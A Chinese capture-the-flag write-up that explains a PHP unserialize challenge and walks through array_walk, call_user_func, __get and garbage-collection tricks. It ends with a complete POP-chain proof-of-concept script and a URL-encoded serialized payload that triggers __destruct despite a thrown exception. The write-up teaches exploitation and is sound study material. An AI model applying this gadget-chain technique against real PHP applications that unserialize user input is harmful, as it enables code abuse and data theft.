CTfshow 卷王杯 easy unserialize(特详)

简介: CTfshow 卷王杯 easy unserialize(特详)

考点:

__destruct函数的GC回收机制、php反序列化的一些冷门知识点

源码:

<?php
class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {      //$string要删掉
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

分析代码:

array_walk():

参考链接:PHP: array_walk - Manual

array_walk($elements, function ($value, $key)

array_walk(this, function(fn, prev)第一个参数是选择一个数组,第二个参数放一个函数,函数内的两个参数对选择的那个数组进行分别进行值、键匹配。但是,题目给的是一个this什么意思呢,就是遍历一个类,也就是说原本应该是匹配键(key)的那个参数,现在会把一个变量名当键匹配,而值(value)就是变量的值。


这个时候我们把值修改为数组,就可以让fn变为数组,最后匹配fn[0]的时候通过就可以了。

public $year_parm=array(0=>“Happy_func”);

fn[0] = “Happy_func” && prev = “year_parm”

<?php
highlight_file(__FILE__);
class one
{
    public $year_parm=array(0=>"Happy_func");
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            echo $fn[0]."\\\///".$prev;
        });
    }
}
$a=new one();
$a->MeMeMe();
//输出Happy_func\\///year_parm

call_user_func():

这里只讲和本题相关的,详细信息参考链接:

(1条消息) PHP函数详解:call_user_func()使用方法_php call_user_func_完美世界的一天的博客-CSDN博客

调用类内部的方法比较奇怪,居然用的是array:

<?php
class a {   
    function b($c)   
    {   
        echo $c;   
    }   
}   
call_user_func(array("a", "b"),"111");   
//显示 111   
?>

所以,题目中**call_user_func([¥this, ¥func.“Me”], ¥args);**如果使func=add,自动拼接一个Me,就是调用本类中的addMe方法了,参数是args。

¥var【¥name】();

由public function __toString() { return $this->object->string; } 转入


变量var的值为this−>name,也就是this->string,然后调用一个方法,其中name的值不可控,但是var的值可以通过修改string的属性来控制,可以利用 数组调用类中方法

举个例子:

<?php
error_reporting(0);
 
class one{
        public function test()
        {
                echo "123";
        }
}
$a=array(one,test);
$a();
//会输出123

再举个例子:

<?php
error_reporting(0);
 
class one{
        public function test()
        {
                echo "123";
        }
}

$a=array("jay"=>[one,test]);
$a["jay"]();
//会输出123
那么,如果我使$var[$name]=array(one,MeMeMe)或者[one,MeMeMe],那么我就能从third::__get()到one::MeMeMe()

那么我们开始构造,先具体说说__get()魔术方法:读取不可访问属性的值时,get() 会被调用。

<?php
class User{
    public $var1;
    public  function __get($arg1)
    {
        echo $arg1;
    }

}
$test = new User();
$test->woshiyigezifuchuan;
?>

User类里面是没有woshiyigezifuchuan这个属性或者方法的,所以会调用User类里面的__get魔术方法,$arg1是什么呢?

我们看代码调试:

可以看到,get魔术方法里面$arg1属性的值就是那不存在/不可访问的东西,而且,类型是字符串!!!!!

我们回归题目:get()魔术方法里面的属性$name=“string”

跟进代码,¥var = ¥this->¥name;


注意name前面有符号¥,所以这里var的赋值不是类属性name(¥this->name),而是¥this->get()魔术方法里面的属性name。


已知$name=“string”,所以代码**¥var = ¥this->¥name;就是¥var = ¥this->string;**所以¥var的值就是类属性string的值。


我们用构造方法给类属性string赋值。

public function __construct()
{
    $this->string=array("string"=>[new one(),"MeMeMe"]);
}

那么¥var=array(“string”=>[new one(),“MeMeMe”])


¥var【¥name】() = array(“string”=>[new one(),“MeMeMe”])这个数组里下标string的值,就是[new one(),“MeMeMe”]


¥var【¥name】() = [new one(),“MeMeMe”],成功使用数组调用类中方法。

throw new Exception(“高一新生报道”):

抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法。

有throw new Exception();就知道要利用GC回收机制

GC回收机制

参考博客:(1条消息) 浅谈PHP中GC回收机制的利用_errorr0的博客-CSDN博客

**__destruct()**无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢?


这里就要用到GC回收。如果没有任何东西指向一个对象,那个对象就会被当作垃圾回收。

看一段代码:

<?php
class jay{
    public $num;
    public function __construct($num)
    {
        $this->num = $num;
        echo $this->num."__construct\n";
    }
    public function __destruct(){
        echo $this->num."__destruct()\n";
    }
}

new jay(1);
$a = new jay(2);
$b = new jay(3);
?>

运行结果:

可以看到没有任何东西指向或者引用new jay(1);,所以他刚刚创建就被当垃圾回收了。

后面的两个对象则是先创建完,没有操作了以后才结束的。

如果把**new jay(1);改成$c=new jay(1);**那么运行结果就会变成:

1__construct
2__construct
3__construct
3__destruct()
2__destruct()
1__destruct()

到这里大家对GC有了初步了解,那么这道题怎么用GC使得__destruct()能执行呢?

本题GC应用

引用一下Pysnow大佬的博客。

这里$a由于上述throw方法,不会调用__destruct方法。

然后我们把null赋值重新加上,即把$a赋值为空,导致了Demo对象提前结束生命周期而因为GC销毁,发现成功执行了__destruct函数。

所以,本题在throw方法之前,把实例对象赋值为null就行了。

解决完所有知识点,剩下的就是构造pop了。

链子:

one::__destruct()
=>second::__call()
=>second::addMe()
=>one::__toString()
=>third::__get()
=>one::MeMeMe()

就是这里存在反复调用的问题,也就是one对象到second对象,然后有条回来,这样可能不能反复赋值,因为这样的话就进入死循环了,所以我们可以实例化两个one对象进入

poc:

<?php
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");         
}

class second {
    public $filename;                       //php7.1以上则对于类属性不敏感,把protected直接改为public。
}

class third {
    private $string;
    public function __construct()
    {
        $this->string=array("string"=>[new one(),"MeMeMe"]);
    }
}

//实现one:destruct()->second:call()
$a=new one();
$c=new second();
$a->object=$c;
//实现second:addMe()->one:toString()
$b=new one();
$c->filename=$b;
//实现third:get()->one:MeMeMe();
$d=new third();
$b->object=$d;

//触发GC回收机制
$n=null;
$payload=array($a,$n);


$jay17=serialize($payload);
/*
a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:" third string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;N;}
*/
//把最后的 i:1换成i:0,提前销毁,手动不能用函数,有多个i:1。
echo urlencode($jay17);

payload:

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D


目录
相关文章
|
4月前
|
Python
【Python】已解决:re.error: bad escape \z at position 4
【Python】已解决:re.error: bad escape \z at position 4
295 0
|
3月前
|
PHP
BUU [安洵杯 2019]easy_serialize_php
BUU [安洵杯 2019]easy_serialize_php
40 0
|
6月前
|
Python
完美解决丨File “invalid.py“, line 1 print(`Hello World!`) ^ SyntaxError: invalid syntax
完美解决丨File “invalid.py“, line 1 print(`Hello World!`) ^ SyntaxError: invalid syntax
|
C#
利用ICSharpCode.SharpZipLib.dll解析 出错:“Wrong Local header signature: 0xFF8”
## 分析原因 利用ICSharpCode.SharpZipLib.dll解析APK时,进入APK的AndroidXml获取时出现报错 ## 出错代码 ```csharp using (ICSharpCode.SharpZipLib.Zip.ZipInputStream zip = new ICSharpCode.SharpZipLib.Zip.ZipInputStream(File.OpenRead(path))) { using (var filestream = new FileStream(path, FileMode.Open, FileAccess.Read)) {
138 1
|
安全 数据安全/隐私保护
ctfshow re2
ctfshow re2
96 0
|
安全 网络安全
|
JSON 数据格式
报错:应用json.parseObject()方法时JSONException: syntax error, expect {, actual [, pos 0
报错:应用json.parseObject()方法时JSONException: syntax error, expect {, actual [, pos 0
1010 0
PHPExcel在高版本PHP7中,Writer-&gt;save出现ERR_INVALID_RESPONSE错误的解决方法
PHPExcel在高版本PHP7中,Writer-&gt;save出现ERR_INVALID_RESPONSE错误的解决方法
256 0
|
数据安全/隐私保护 Python
ctfshow easyrsa系列
ctfshow easyrsa系列WP
702 0
ctfshow easyrsa系列
ctfshow 假赛生
ctfshow 假赛生 WP
130 0
ctfshow 假赛生